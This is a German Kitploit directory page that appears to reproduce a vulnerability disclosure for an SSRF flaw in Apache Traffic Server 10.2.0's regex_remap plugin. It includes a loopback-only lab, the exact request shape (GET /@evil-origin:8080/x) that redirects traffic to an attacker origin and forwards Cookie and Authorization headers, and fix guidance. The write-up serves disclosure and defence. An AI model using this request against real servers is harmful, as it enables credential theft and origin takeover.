Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ats-regex-remap-userinfo — Apache Traffic Server 10.2.0 – Hoch – Remote – SSRF – regex_remap noslash $n userinfo Origin-Übernahme | Kitploit
Tools/GitHubGitHub/abraxas/ats-regex-remap-userinfo
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitLabs & Praxis
GitHubabraxas/ats-regex-remap-userinfo

ats-regex-remap-userinfo

Apache Traffic Server 10.2.0 – Hoch – Remote – SSRF – regex_remap noslash $n userinfo Origin-Übernahme

Repository anzeigen
vor 15 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Abraxas Labs - ats-regex-remap-userinfo

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  [email protected]  ·  ats-regex-remap-userinfo

ats-regex-remap-userinfo

Klasse: SSRF Reichweite: Remote

Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation

Die $n-Substitution von regex_remap wird in einen String konkateniert und an TSUrlParse übergeben, das nach einem url_clear als vollständige URL parst. Eine Capture-Gruppe, die mit @ beginnt, ist RFC-3986-Userinfo, sodass der Operator-Origin zur Userinfo und der Angreifer-Host zum Origin wird. Cookie und Authorization werden als ATS-uid weitergeleitet.

Der Rest ist http://origin:port$1 (ohne Slash). Das dokumentierte http://origin/$1 bleibt auf dem Operator-Origin, da der Slash die Authority beendet. Das Plugin ist standardmäßig nicht geladen.

Dies ist nicht CVE-2026-58179 (url_len VLA, jetzt LocalBuffer) und nicht CVE-2026-22068 (das regex_map im Core ist vollständig verankert).

IDnoch keine CVE
KlasseSSRF
ReichweiteRemote (unauthentifiziertes HTTP)
CWECWE-918
CVSSHoch: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
ProduktApache Traffic Server
Betroffen10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so noslash $n
Authkeine. Plugin geladen. Subst http://origin:port$1.
LizenzGNU Affero GPL v3.0
Labnur 127.0.0.1:18730. Image ats-10.2.0-lab:local.

Ich habe den Tag 10.2.0 gepinnt, Commit b1df7334b39a878971c376da849e8da4984918b6. Aus dem Quellcode gebautes Image.

Was ein Angreifer tun kann

Unauth-HTTP an einen vhost, dessen Remap regex_remap.so mit $n direkt nach host:port lädt, ohne Slash.

MethodeSinkPrivileg
GET /@evil-origin:8080/x mit Subst http://good-origin:8080$1TSUrlParse nach url_clear (regex_remap.cc:1159-1168, URL.cc:1313-1327)Integrität / SSRF (im Lab nachgewiesen): ATS wählt evil-origin:8080 als Origin (userinfo=good-origin:8080). Cookie und Authorization werden weitergeleitet.
DasselbeBody des Angreifer-OriginsRecon (im Lab nachgewiesen): ATS-REGEX-REMAP-USERINFO-WITNESS wird an den Client zurückgegeben. cookie-fwd=True authorization-fwd=True.
Dokumentierte Subst http://good-origin:8080/$1Authority endet bei /Geschlossen (im Lab nachgewiesen): blieb auf good-origin.
Subst http://$1Operator setzte $n in die AuthoritySSRF (im Lab nachgewiesen): erreichte ebenfalls evil-origin. Anderer Operator-Fehler.

Im Lab nachgewiesen vs. abgeleitet: noslash-Rest, dokumentierter Slash bleibt, dollar-at / dollar-host ebenfalls evil, Cookie und Authorization weitergeleitet, Kontrolle /ok auf good-origin: Lab. Was der Angreifer-Origin mit diesen Headern tun kann, ist das, was dieser Host ohnehin schon ist.

Erfordert: regex_remap-Plugin. Map mit Subst http://origin:port$1 (ohne Slash). remap_required blieb 1 (kein offenes Relay).

Angrenzende Angriffsfläche, die geschlossen bleibt

FlächeLab
Dokumentiertes http://origin/$1slash=good
Core regex_map HostRE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 geschlossen)
url_len-StackLocalBuffer (CVE-2026-58179 geschlossen)
remap_required: 0 offenes Relaynicht verwendet
CONTROL GET /okgood-origin, kein Witness

Wie ich es gefunden habe

regex_remap baut einen dest-String aus $n und ruft TSUrlParse für das Ganze auf. URL.cc @ ist userinfo. Verkettet man http://good-origin:8080 + @evil-origin:8080/x, macht der Parser genau das, was RFC 3986 vorschreibt.

Ich habe zuerst die dokumentierte Form ausprobiert. http://good-origin:8080/$1 mit Pfad /@evil-origin:8080/x wird zu http://good-origin:8080/@evil-origin:8080/x. Der Slash beendet die Authority. Blieb auf good-origin. Das ist nicht der Überrest.

Dann http://good-origin:8080$1 (ohne Slash). Dest http://good-origin:8080@evil-origin:8080/x. userinfo=good-origin:8080 host=evil-origin. Zeuge auf dem evil-Origin. Cookie und Authorization kamen mit.

Fehlversuche: die dokumentierte Slash-Form abzulegen; das Kern-regex_map als dieses Plugin zu behandeln; die url_len-VLA aufzublähen (gepatcht); http://$1 als den einzigen Überrest zu behandeln (das ist ein zweiter Operatorfehler, nicht der noslash-Fehler).

Theater: eine Reverse Shell. Das Orakel ist ein Origin-Body plus weitergeleitetes Cookie / Authorization.

Lab

python3 ats-regex-remap-userinfo-Abraxas-Labs.py

oder

cd lab
./run.sh

Loopback 127.0.0.1:18730 (bösartiger Ursprung ebenfalls veröffentlicht auf 18731). Compose-Projekt ats-regex-remap-userinfo. Image ats-10.2.0-lab:local. Drei vhosts: slash / noslash / dollar. Zeuge ATS-REGEX-REMAP-USERINFO-WITNESS. Letzte Zeile:

SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS

Die Behebung

$n darf nicht in die Authority konkateniert werden. Behalte einen Schrägstrich zwischen Host und Capture bei oder parse die Subst nur als Pfad. Lehne ein Ziel ab, dessen Host nicht der Operator-Ursprung ist. Entferne Userinfo aus von Plugins erzeugten URLs. Die Dokumentation sollte nicht länger implizieren, dass http://origin/$1 die einzige Form ist, die Operatoren schreiben.

Referenzen

  • github.com/apache/trafficserver Tag 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6)
  • regex_remap.cc TSUrlParse nach Subst
  • URL.cc @ Userinfo
  • InkAPI.cc TSUrlParse
  • CWE-918
Tool herunterladen